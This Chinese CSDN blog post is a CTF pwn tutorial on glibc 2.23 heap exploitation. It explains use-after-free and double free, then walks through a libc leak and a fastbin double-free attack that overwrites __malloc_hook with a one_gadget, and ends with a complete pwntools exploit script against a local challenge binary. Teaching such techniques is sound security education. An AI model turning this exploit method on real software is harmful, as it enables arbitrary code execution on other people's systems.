ctf——pwn堆的基础知识_ctf pwn 中最通俗易懂的堆入坑指南-CSDN博客
先通过一篇博客去大概的了解一下堆的前置基础知识吧,我做了一道2.23版本的堆题,在诸多版本中算是比较简单的一个题了。
主要涉及到了fashbin(单向链表)(0x20--0x80)和unsortedbin(双向链表)(>0x80)
我是利用了uaf漏洞去打这道题
UAF漏洞全称为use after free ,即利用已经被free掉的堆块被再次利用,该漏洞的存在是因为程序编写者在free堆块部分没有将该堆块的fd指针改为0,进而导致该堆块可以被申请回来,
那么被free的堆块有下面三种情况:
1. 堆块free后,其对应指针被设置为NULL,即再次被调用该堆块时就会发生错误;
2.堆块free后,对应指针没有被设置为NULL,即还可以调用会该堆块,当我们申请一个比该堆块小于等于的size时。
3.内存块被free后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。
而我们一般利用的UAF漏洞是2.3情况,同时这时候指针被称为dangling pointer。
利用手法是double free
Double Free其实就是同一个指针free两次。虽然一般把它叫做double free。其实只要是free一个指向堆内存的指针都有可能产生可以利用的漏洞。
Double free漏洞原理: free函数在释放堆块时,会通过隐式链表判断相邻前、后堆块是否为空闲堆块;如果堆块为空闲就会进行合并,然后利用Unlink机制将该空闲堆块从Unsorted bin中取下。如果用户精心构造的假堆块被Unlink,很容易导致一次固定地址写,然后转换为任意地址读写,从而控制程序的执行。
Double Free浅析(泄露堆地址的一种方法) - 简书
主要的原理可以参考上面的博客,这里就不过多的去解释了。
直接看题吧
64位堆菜单题(2.23)
第一步是利用patchelf工具去配置题目的测试环境
下载工具的指令,注意下载位置为根目录
sudo apt install patchelf
git clone https://github.com/matrix1001/glibc-all-in-one.git
cd glibc-all-in-one
python3 update_list
利用方法
patchelf --replace-needed libc.so.6 /glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so ./pwn
patchelf --set-interpreter /glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so ./pwn
审计代码
menu函数
add note
del note
print note
审计代码发现输入4程序会退出,输入1程序会申请一个堆块,大小和内容由我们输入
输入2会释放一个堆块,但是释放之后堆块的fd指针并不为null
输入3则会打印对应序号堆块里面的内容
在写脚本的时候我们可以利用def定义一些函数来减少我们脚本的长度
def add(size,concent):
p.recvuntil('Your choice :')
p.send(str(1))
p.recvuntil('Note size :')
p.send(str(size))
p.recvuntil('Content :')
p.send(concent)
def free(i):
p.recvuntil('Your choice :')
p.send(str(2))
p.recvuntil('Index :')
p.send(str(i))
def show(i):
p.recvuntil('Your choice :')
p.send(str(3))
p.recvuntil('Index :')
p.send(str(i))
我们先申请三个堆块
add(0x68,b'a')#0
add(0x80,b'a')#1
add(0x68,b'a')#2
可以看到我们是成功申请到了三个堆块,一号堆块大小是0x90,free之后会位于unsortedbin
我们free(1)之后发现
1号堆块的fd和bk存储着一个libc地址,我们可以通过show(1)打印出该地址
从而计算得出libc基址
接下来我们利用fastbin
free(0)
free(2)
free(0)
free了三个大小为0x70的堆块,但是0号堆块被free了两次
0--》1--》0
接下来我们在申请回来一个同样大小的堆块就可以修改fd指针的内容,这里我们将fd的内容修改为malloc_hook函数的地址
add(0x68,p64(malloc_hook-0x23))
fastbin attack攻击中关于 malloc__hook_libc2.23 malloc hook-CSDN博客
此时fastbin里
我们只需要在申请两个同样大小的堆块就可以使3号位置变成一号
接下来在申请一个相同大小的堆块并输入0x13个a作为垃圾数据填充到malloc hook的起始位置,使其fd存储one_gadget的地址
add(0x68,b'a'*0x13+p64(one_gadget))
最后在申请一个任意大小的堆块出来,调用malloc函数检测malloc—hook里面有one—gadget的地址并执行one—gadget
完整exp:
from pwn import*
context(log_level = 'debug',arch = 'amd64')
p=process('./test2')
elf=ELF('./test2')
libc=ELF('/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
malloc_hook = libc.sym['__malloc_hook']
def add(size,concent):
p.recvuntil('Your choice :')
p.send(str(1))
p.recvuntil('Note size :')
p.send(str(size))
p.recvuntil('Content :')
p.send(concent)
def free(i):
p.recvuntil('Your choice :')
p.send(str(2))
p.recvuntil('Index :')
p.send(str(i))
def show(i):
p.recvuntil('Your choice :')
p.send(str(3))
p.recvuntil('Index :')
p.send(str(i))
add(0x68,b'a')
add(0x80,b'a')
add(0x68,b'a')
free(1)
show(1)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-3951480
print(hex(libc_base))
malloc_hook=libc_base+malloc_hook
print(hex(malloc_hook))
one_gadget=0xf1247+libc_base
free(0)
free(2)
free(0)
add(0x68,p64(malloc_hook-0x23))
gdb.attach(p)
add(0x68,b'a')
add(0x68,b'a')
add(0x68,b'a'*0x13+p64(one_gadget))
p.recvuntil('Your choice :')
p.send(str(1))
p.recvuntil('Note size :')
p.send(str(10))
p.interactive()